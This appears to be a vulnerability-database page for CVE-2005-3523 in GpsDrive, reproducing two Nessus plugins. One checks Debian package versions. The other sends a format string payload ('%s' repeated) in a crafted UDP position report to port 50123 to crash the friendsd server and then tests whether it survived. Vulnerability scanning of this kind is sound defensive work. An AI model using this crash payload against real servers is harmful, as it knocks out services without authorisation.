Vulnerabilities > CVE-2005-3523 - Unspecified vulnerability in Gpsdrive

#%NASL_MIN_LEVEL 80502

#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from Debian Security Advisory DSA-891. The text 
# itself is copyright (C) Software in the Public Interest, Inc.
#

include("compat.inc");

if (description)
{
  script_id(22757);
  script_version("1.16");
  script_cvs_date("Date: 2019/08/02 13:32:19");

  script_cve_id("CVE-2005-3523");
  script_xref(name:"DSA", value:"891");

  script_name(english:"Debian DSA-891-1 : gpsdrive - format string");
  script_summary(english:"Checks dpkg output for the updated package");

  script_set_attribute(
    attribute:"synopsis", 
    value:"The remote Debian host is missing a security-related update."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"Kevin Finisterre discovered a format string vulnerability in gpsdrive,
a car navigation system, that can lead to the execution of arbitrary
code."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.debian.org/security/2005/dsa-891"
  );
  script_set_attribute(
    attribute:"solution", 
    value:
"Upgrade the gpsdrive package.

The old stable distribution (woody) does not contain gpsdrive
packages.

For the stable distribution (sarge) this problem has been fixed in
version 2.09-2sarge1."
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:debian:debian_linux:gpsdrive");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:debian:debian_linux:3.1");

  script_set_attribute(attribute:"patch_publication_date", value:"2005/11/09");
  script_set_attribute(attribute:"plugin_publication_date", value:"2006/10/14");
  script_set_attribute(attribute:"vuln_publication_date", value:"2005/11/04");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2006-2019 Tenable Network Security, Inc.");
  script_family(english:"Debian Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/Debian/release", "Host/Debian/dpkg-l");

  exit(0);
}


include("audit.inc");
include("debian_package.inc");


if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/Debian/release")) audit(AUDIT_OS_NOT, "Debian");
if (!get_kb_item("Host/Debian/dpkg-l")) audit(AUDIT_PACKAGE_LIST_MISSING);


flag = 0;
if (deb_check(release:"3.1", prefix:"gpsdrive", reference:"2.09-2sarge1")) flag++;

if (flag)
{
  if (report_verbosity > 0) security_hole(port:0, extra:deb_report_get());
  else security_hole(0);
  exit(0);
}
else audit(AUDIT_HOST_NOT, "affected");

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(20159);
  script_version("1.20");
  script_cvs_date("Date: 2018/07/12 19:01:15");

  script_cve_id("CVE-2005-3523");
  script_bugtraq_id(15319);

  script_name(english:"GpsDrive friendsd2 dir Field Remote Format String");
  script_summary(english:"Checks for format string vulnerability in GpsDrive friendsd");

  script_set_attribute(attribute:"synopsis", value:"The remote server is affected by a format string vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote host is running a GpsDrive friendsd server, which records
the positions of friends on a map. 

The version of friendsd installed on the remote host is affected by a
format string vulnerability.  An attacker can leverage this issue using
a specially crafted packet to crash the server and possibly execute code
on the remote host subject to the privileges under which the server
runs.");
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?dabc8c33");
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?777cc0de");
  script_set_attribute(attribute:"solution", value:"Upgrade to 2.10pre3-cvs or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2005/11/04");
  script_set_attribute(attribute:"plugin_publication_date", value:"2005/11/07");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_end_attributes();

  script_category(ACT_DENIAL);
  script_family(english:"Gain a shell remotely");
  script_copyright(english:"This script is Copyright (C) 2005-2018 Tenable Network Security, Inc.");

  exit(0);
}


include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");


port = 50123;
if (!get_udp_port_state(port)) audit(AUDIT_PORT_CLOSED, port, "UDP");

done = NULL;


# A position report.
args = make_list(
  "POS:",                               # constant => report position
  rand_str(                             # a random ID string
    length:22,
    charset:"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
  ),
  SCRIPT_NAME,                          # a name
  "39.187362",                          # latitude
  "-76.818423",                         # longitude
  unixtime(),                           # last report (current time)
  "10",                                 # speed
  "90",                                 # direction
  raw_string(0x00)                      # marks end of packet
);
pos = "";
foreach arg (args) {
  pos += arg + " ";
}
pos = chomp(pos);


# Make sure the server is up.
tries = 5;
for (iter = 0; iter < tries; iter++) {
  soc = open_sock_udp(port);
  if (!soc) audit(AUDIT_SOCK_FAIL, port, "UDP");

  # Send our position report.
  send(socket:soc, data:pos);

  # Read the response.
  repeat {
    res = recv(socket:soc, length:1024);
    if (isnull(res)) break;

    # If it's the first line...
    if (isnull(done)) {
      # If the first line looks like friendsd, set done=0.
      if (string("$START:$\n") == res) done = 0;
      # Otherwise, it's not friendsd so we're done.
      else {
        close(soc);
        exit(0);
      }
    }
    # If it looks like the last line, set done=1.
    else if (string("$END:$\n") == res) done = 1;
  } until (done);

  close(soc);
  if (done) break;
}
# We're done if we couldn't get a response after several iterations.
if (isnull(done)) exit(0);


# Try to crash the server with a bogus position report.
exploit = str_replace(
  string:pos,
  find:" 90 ",
  replace:"%s%s%s%s%s%s%s%s%s"
);
for (iter = 0; iter < tries; iter++) {
  soc = open_sock_udp(port);

  # Send a position report with a format string.
  send(socket:soc, data:exploit);
}
sleep(1);


# Report a position again to see whether the server is up.
for (iter = 0; iter < tries; iter++) {
  soc = open_sock_udp(port);

  # Send our position report.
  send(socket:soc, data:pos);

  # Read the response.
  repeat {
    res = recv(socket:soc, length:1024);
    if (isnull(res)) break;

    # If it's the first line...
    if (isnull(done)) {
      # If the first line looks like friendsd, set done=0.
      if (string("$START:$\n") == res) done = 0;
      # Otherwise, it's not friendsd so we're done.
      else {
        close(soc);
        exit(0);
      }
    }
    # If it looks like the last line, set done=1.
    else if (string("$END:$\n") == res) done = 1;
  } until (done);

  close(soc);
  if (done) break;
}
# There's a problem if we couldn't get a response after several iterations.
if (isnull(done)) security_hole(port:port, proto:"udp");